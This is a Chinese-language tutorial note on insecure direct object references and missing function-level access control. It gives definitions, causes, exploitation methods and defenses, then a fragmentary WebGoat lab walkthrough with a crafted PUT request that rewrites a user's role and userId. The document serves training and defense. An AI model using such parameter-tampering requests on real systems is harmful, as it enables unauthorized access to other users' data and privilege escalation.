不安全的直接对象引用 (IDOR水平权限越权)
- 定义
不安全的直接对象引用(IDOR)允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。
应用程序在SQL查询语句中直接使用了未经测试的数据,而攻击者可以利用这一点来访问数据库中的其他账号数据。
- 出现原因
Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目标对象访问时来检查用户权限,所以这就造成了不安全的对象直接引用的漏洞。
服务器上的具体文件名、路径或数据库关键字等内部资源被暴露在URL或网页中,攻击者可以尝试直接访问其他资源。
缺失功能级访问控制(垂直权限 提权)
在应用程序中,常常会将用户分为不同的用户角色,不同的角色可以进行不同权限的操作。当在逻辑代码中未妥善处理,可能导致低权限的角色用户可以调用高权限角色用户的接口,导致用户提权
利用方法
修改提交的参数
暴力破解猜测同级的用户
使用PUT提交修改个人信息
防御方法
1.访问检查:对任何来自不受信源所使用的所有对象进行访问控制检查
2.使用基于用户或会话的间接对象访问,这样可防止攻击者直接攻击未授权资源
3.避免在url或网页中直接引用内部文件名或数据库关键字
4.验证用户输入和url请求,拒绝包含./ …/的请求
5.在应用程序业务层添加用户水平权限验证,防止角色平级用户之间数据越权访问
6.在应用程序业务层添加用户垂直权限验证,防止提权
7.针对当前用户信息修改,可使用已经经过验证并存储在sesson中的用户信息,避免从客户端进行获取
8.对于高权限可以修改低权限情况,添加权限验证
9.针对用户操作记录审计日志,操作对象,操作人,操作时间,操作IP地址,操作前后变化
0x13
点击View profie,抓包重重放
获得 role,userId
0x14
0x15
- 爆破
- 02 构造数据包
使用PUT 方式提交更改的信息
PUT /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: 192.168.80.2:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.2:8080/WebGoat/start.mvc
Content-Type: application/json
X-Requested-With: application/json
Connection: close
Cookie: JSESSIONID=eU5_lnpkJPYm5b8TPDxefKZS2MxfK0xlAi2MSl1Z
Content-Length: 86{"role":"1", "color":"red", "size":"large", "name":"Buffalo Bill", "userId":"2342388"}
0x22